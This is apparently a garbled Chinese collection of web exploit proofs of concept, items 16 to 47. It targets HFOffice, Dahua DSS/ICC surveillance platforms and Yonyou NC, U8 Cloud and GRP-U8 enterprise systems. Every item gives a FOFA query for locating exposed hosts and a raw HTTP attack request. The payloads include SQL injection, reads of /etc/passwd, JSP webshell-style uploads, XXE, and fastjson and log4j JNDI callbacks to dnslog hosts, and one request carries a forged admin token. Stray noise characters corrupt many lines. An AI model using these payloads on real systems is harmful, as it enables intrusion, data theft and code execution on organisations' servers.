- ~" n" L  X1 ]% \1 _: x16.  红帆HFOffice医微云SQL注入
' l! m% e+ ~+ C( rFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
0 f; r# p' Q( YGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
9 M  g/ x0 Z3 [# oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
+ Z3 A" Q8 C5 V# F; ^8 TConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


* C$ R7 {2 E4 u17. 大华 DSS itcBulletin SQL 注入
  p/ g. N0 O; k9 I& U1 R3 mFOFA：app="dahua-DSS"
. O; V6 y) q$ `, ^$ e; B* SPOST /portal/services/itcBulletin?wsdl HTTP/1.1
  _: T% q# K5 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( ?) K( Q+ G9 u! U' w' E8 PContent-Length: 345
) ^2 Y: V5 e9 uAccept-Encoding: gzip
" p$ O0 {5 m; ~! S
3 u7 G& y' p3 W) Y  r<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
& k# o0 ~1 Z6 Q3 M* w8 s<s11:Body>
0 X& _) L2 Z1 V    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
: A4 N2 ~" R# O( s+ r- m      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
4 k8 \6 Q# Y( o</s11:Envelope>
5 v8 a2 `# ^& r3 `
. Y8 d' q1 X, \5 {- v( S, g" g3 N
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' ?* h' \" }9 K7 E7 O$ G/ H7 jAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: s* T1 O4 z# y


19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ w- S/ c% }4 L/ p; m' cFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
2 e9 b4 g- k8 P0 Y9 Z; YHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
9 T$ k) J$ L& D1 i( ?9 g. g: nAccept: */*
Connection: keep-alive

) f: m: i5 n' \+ C2 ~& k8 v
9 \2 X: Z% X2 c! |9 C# D20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
$ G8 l! _; b' }0 }4 |" ]GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
0 e! a* o, Y& b1 K$ X% ?' TUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
4 B9 m  n8 j. TAccept-Language: en
Accept-Encoding: gzip
# n# \+ L* s4 o( f7 h

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
: t- J) A# F1 {% C# PHost: x.x.x.x
+ k3 \! C) s5 d; W% _+ ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 h, Z- Q2 H- b2 o% R+ C. rContent-Length: 161
, w6 o; P; |/ b+ r+ ^0 z3 ]Accept-Encoding: gzip
# G; Q' T6 W) ?Connection: close
Content-Type: application/json;charset=utf-8
" |: z" N8 g$ C) h$ h
/ m" I$ p/ v& ?' x  C2 E{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
, `, ?0 o6 ^  }; u/ b1 f    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
4 O& e+ x9 A7 {0 S  }""
}


+ w" _3 C" \+ I; G22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
0 C% s/ m6 C- q  H" O6 q. N$ E, iPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
1 o3 |4 O9 z, JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
$ l9 u# c$ g/ ]2 h/ ~) k
{
"loginName":"${jndi:ldap://dnslog}"
: m3 G4 Y; J4 |* q0 {}
! |9 I9 [8 v4 F0 @: w* E6 V/ z: O$ E9 B


, G; F+ f8 ]8 g6 g* `! Q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
6 x( u' Q; P7 ]% |FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. s* ?2 j* b) p/ r$ pHost: your-ip
+ {2 `5 y6 D8 {1 S" l/ w6 q1 S1 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
5 v0 o- o+ u, p. r! P( @* {; WAccept-Encoding: gzip
Connection: close
0 Y8 P2 E5 \0 V7 M' r! ^: ?
1 k; ^, C' J4 h# t{
2 I. g: }9 k: U" O& H    "a":{
% e# V- D% J- B" K- `  ^        "@type":"com.alibaba.fastjson.JSONObject",
& K/ |* Y* x4 _; k9 B$ S$ o       {"@type":"java.net.URL","val":"http://DNSLOG"}
6 Z( p6 G0 i3 T# b$ y" `3 C        }""
0 {0 F& I. V+ K) m}


8 N2 h9 s4 u! k+ G: _9 f7 d: {24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
4 U% L; c+ h# |POST /aim/equipmap/accept.jsp HTTP/1.1
6 C& q% y# b, N! EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
5 @- t; M" l+ b0 v: z7 BAccept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# m4 t0 q, ^0 R# R; M
7 s, U( r& w- p: J+ E( x-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
7 d: c! s; r8 m: H/ I3 H
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
5 ~2 ^8 h$ X- n# u+ ?# F-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* `+ W7 I( s- B! aContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
& g  @6 x! a" w9 Z; ^* Y5 f-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
2 _5 D6 v: B8 }, i. D

& S0 a% Q4 }% B25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
+ e8 C: u" `' \" c2 G) K$ Y' aPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
6 O) ?" s7 U$ d/ M3 c$ N5 u. W! G5 qAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
  D8 o2 K5 J) sContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
; `: d0 k5 x8 y$ [! K
# F* t% o4 j& n- U

- t& W8 T- a" ~* s: X+ y26. 用友NC linkVoucher SQL注入
; }% w+ K2 t4 J" tFOFA：app="用友-UFIDA-NC"
1 Q/ D1 x' K. IGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
$ Y: a$ q( |! jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 M" t/ h2 |$ ?Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ Y) b7 n7 w, y& d' _( e
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
" y7 Y/ e5 x+ sGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
' |5 F  G  F8 L8 C1 v4 `; CHost: your-ip
, c- `( x, M0 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 t: V5 `; w0 y. ?+ bAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


- g8 c( R  a( \1 [( [6 I28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
9 n7 R9 u+ e: G- ?( C- k+ CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 D% S: w4 v8 a. JConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
' V1 Y+ w% u/ `' [: ]" V* D------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
7 K$ |+ c' ]# O

/uapim/static/pages/nc/head.jsp
+ G/ Y4 O+ j/ _* t, v/ I
# i; R7 B  ^& G( |3 E) X29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
, r5 ^7 Z2 n0 ^* }0 f! ?% KHost: your-ip
( e& g( h2 ^# ]  o/ [9 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 W3 o# U/ A% @7 E5 [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


30. 用友NC importPml SQL注入
; v, e* K0 `' e- lFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; d% l+ Y4 F/ F1 Q4 VPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
  S; R2 ^8 u$ u# V' U0 ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
2 h) H1 v# {! n: W6 O+ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
' u$ l' e1 p7 W( [  g; Y
------WebKitFormBoundaryH970hbttBhoCyj9V
& B+ Q# ~# S1 D1 N% v! Y% oContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
7 q, g, K3 c! j& bContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


6 E4 K$ S$ o4 r, i* K31. 用友NC runStateServlet SQL注入
" s0 J6 {$ h5 ?- W) W0 Z, Nversion<=6.5
; a0 d& r' _* u6 n  G1 qFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 j" K" O7 h( h3 tHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 S: w6 x6 l; `2 m6 FContent-Type: application/x-www-form-urlencoded
2 P1 h) K2 a+ V- E; u5 L% V! D
4 Z  q2 w* G2 n0 m9 U3 Y
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
8 B2 q$ S( O$ ~8 q( u  Q  SFOFA：app="用友-UFIDA-NC"
0 ^: C( N; d$ A6 ?GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 {( `$ ]! q% R" s4 N1 b: f' dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
7 {7 I1 @3 Q: `9 ?Accept: */*
' W4 Y* \2 [5 ~( ?Connection: keep-alive
  j2 I) g  O6 q
. I& y5 z  _* G# ]* i* n
33. 用友NC downTax/download SQL注入
& v5 S) _; V# Y1 f" F" J/ q* oversion：NC6.5FOFA：app="用友-UFIDA-NC"
4 o/ ]6 }3 B: I7 Q! g: L& PGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. j! d( f  u( QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
  T: j: `2 ?9 m+ z& DAccept: */*
Connection: keep-alive

1 p$ x5 N. J9 u
34. 用友NC warningDetailInfo接口SQL注入
( q9 v' G7 j! ^FOFA：app="用友-UFIDA-NC"
& m: ]/ T" K3 T8 ?6 N" r1 ^0 x6 z# OGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% X2 A4 ^+ Q$ I5 f& ~. MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 W: t/ E4 t8 [( C1 UAccept: */*
( b& X: p' r7 K( |' F! L3 JConnection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
' Q6 _0 p6 \+ d7 ~& h% s0 w! IFOFA：app="用友-NC-Cloud"
6 ~  Y5 ]1 p5 O+ Y; yPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
5 @. {1 W5 W: H, ]User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
) H9 Z+ m9 D8 n/ j* jAccept: */*
  x1 _0 l% _, J) c/ OConnection: close
- o) b+ r9 M! C4 n9 waccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
$ X/ x7 V: V5 ~Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

6 X: ]9 y" s5 q<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

$ P3 v' g) ]0 p3 ]1 L
3 Z4 a$ A$ P. E+ P9 J* t36. 用友NC-Cloud soapFormat XXE
4 O1 p# c, V% r1 p( V4 sFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
  n+ B; w( d7 e4 ^& {- p9 lPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
. ~- t' R3 Z$ X/ D: WContent-Length: 263
! e9 G5 t( o% dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- q0 e7 k+ b' W  SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
- `6 X& \; k4 SContent-Type: application/x-www-form-urlencoded
$ q7 {% H/ s$ S9 p# y+ y1 }: Y& PUpgrade-Insecure-Requests: 1

) `, `7 {# ]4 z* U$ `msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

0 C) O4 \' K+ z: k% @5 C
1 H9 b$ N  e$ Z37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
8 Y4 N( f3 W% W2 f0 R6 H. iPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
, G& o5 h# S9 t5 A6 d. hHost: 192.168.40.130:8989
  \' g' U4 W0 m) OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
! }) [+ u/ k$ [& N! M4 ~+ @7 K9 dUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
0 ?& {+ ?, I9 z7 j<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
1 ~6 Q" _4 L( b9 e<xxx/>]]></iup:string>
! P! F% |* s" t  V/ D! C4 P</iup:getResult>
</soapenv:Body>
# ^- N" B# ?, Y3 |7 w) l( ]6 i</soapenv:Envelope>



' y8 U7 [  `8 i% f1 ?  `38. 用友U8 Cloud smartweb2.RPC.d XXE
% c- f& d+ e* {8 d0 Y6 ]FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
5 f" k' Z+ [0 P4 f. n8 F6 Z3 {Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 d3 |3 j7 [2 l8 sAccept-Encoding: gzip, deflate
. @- k- [) c4 w% [6 lAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

5 ^+ Q: K7 |: l' s  u__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
4 r, H% \: f" T$ K  Q, p. cHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
0 i# M6 R3 a) [( E8 n5 E) NAccept-Encoding: gzip
% o# W& q; [; x# ~
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


. [. b; d3 l5 D" \1 Y: R  u40. 用友U8-Cloud XChangeServlet XXE
6 [* l% E6 {7 e5 B! CFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
  Q: I( G, x. I; ~

) y9 q% x0 R: ^0 Z1 K/ U41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 S6 w% I( q1 h+ b0 [7 n6 p  _$ P+ t* d) DFOFA：app="用友-U8-Cloud"
% g+ r  x  x$ PGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
/ I) }) S* \- b4 [8 a, QHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' ~* S- o" _7 fContent-Type: application/json
Accept-Encoding: gzip
Connection: close
+ B. Y6 K( P) g/ s

7 ]( A1 w4 B; k2 g42. 用友GRP-U8 SmartUpload01 文件上传
! T  u& ^% a2 h7 V* JFOFA：app="用友-GRP-U8"
/ O  K- a/ P& f* _POST /u8qx/SmartUpload01.jsp HTTP/1.1
! ]6 V# n4 Z5 E/ d+ C+ M  dHost: x.x.x.x
# u2 v* E6 L; |! ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
9 y9 h. H* \# u* z' S, h: |7 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

/ Q' \1 I+ ~: r( ^" g- H- YPAYLOAD
2 W. G1 m" }" O; N
3 ^# {# [2 C1 U. j4 M) w
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
7 m# @- I+ D8 i. B* Z5 s2 j" Z
3 J( B- E8 J9 q9 ]$ B! |. Z43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
  h1 r: [7 A2 [! }! Z5 F1 r( aHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
  V# c, j5 ~( v& \% t! v# R* `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: r0 }$ b" x+ ?# V( gAccept-Language: zh-CN,zh;q=0.9
0 p$ P; j+ e( oConnection: close
: S( N- U: W8 E0 V+ Y6 ASOAPAction:
Content-Type: text/xml;charset=UTF-8

% A) w/ T; J, R$ Y<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
9 c- r* [2 f8 A3 O; J   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
% r( A: V% Z' V+ K5 e- L5 J% ^</soapenv:Envelope>

+ S% F" o1 d3 G1 _
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
4 O! W& m0 d. fGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
% t8 ^% L, l& p  M$ i2 D/ ^& ~$ XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
- G# [" b# [! l8 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 {* t1 B/ |$ b8 c8 m. }9 IAccept-Language: zh-CN,zh;q=0.9
Connection: close

. m  j- ?  e9 d0 E% y5 \
45. 用友GRP-U8 ufgovbank XXE
2 O- Q' b' L  J+ MFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
/ W) G1 o& ?. z& V& d1 ^5 _! OHost: 192.168.40.130:222
7 r* p& V% u8 X" I7 b+ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
. B! C$ V0 q: s' B& [" nConnection: close
Content-Length: 161
* e$ ]4 ^/ W! p( P, |5 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
: U: X, Q+ k+ U* K) X
7 G; ~9 ^* \* X2 v7 YreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
7 ]( f& m- {- s0 h; Q8 ], Q3 W

' d5 U$ A( l  b4 p8 p; e0 n46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% g7 z2 u! @, L" ?: O6 M% dFOFA：app="用友-GRP-U8"
% a7 @' ]9 F( `5 T/ P6 }GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
9 e7 N4 A6 G. N) f! }Host: your-ip
2 }7 ^% t% i6 p6 d6 C- t$ GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% Z( [+ T6 O' T4 S2 ~% PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( W3 s/ a4 V& o1 E) z# jConnection: close

, r: V' _; a0 h% C' [* x
1 C3 t4 r5 J* l1 l47. 用友GRP A++Cloud 政府财务云 任意文件读取
  w3 Q" M+ l1 M3 ~. P8 ZFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
! h2 W8 c3 I- ]! u9 w$ l8 `/ ECache-Control: max-age=0
Upgrade-Insecure-Requests: 1
! s% L; i/ p: u3 Q2 P+ u7 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
5 z7 S2 p! Y: b5 e& JAccept-Language: zh-CN,zh;q=0.9
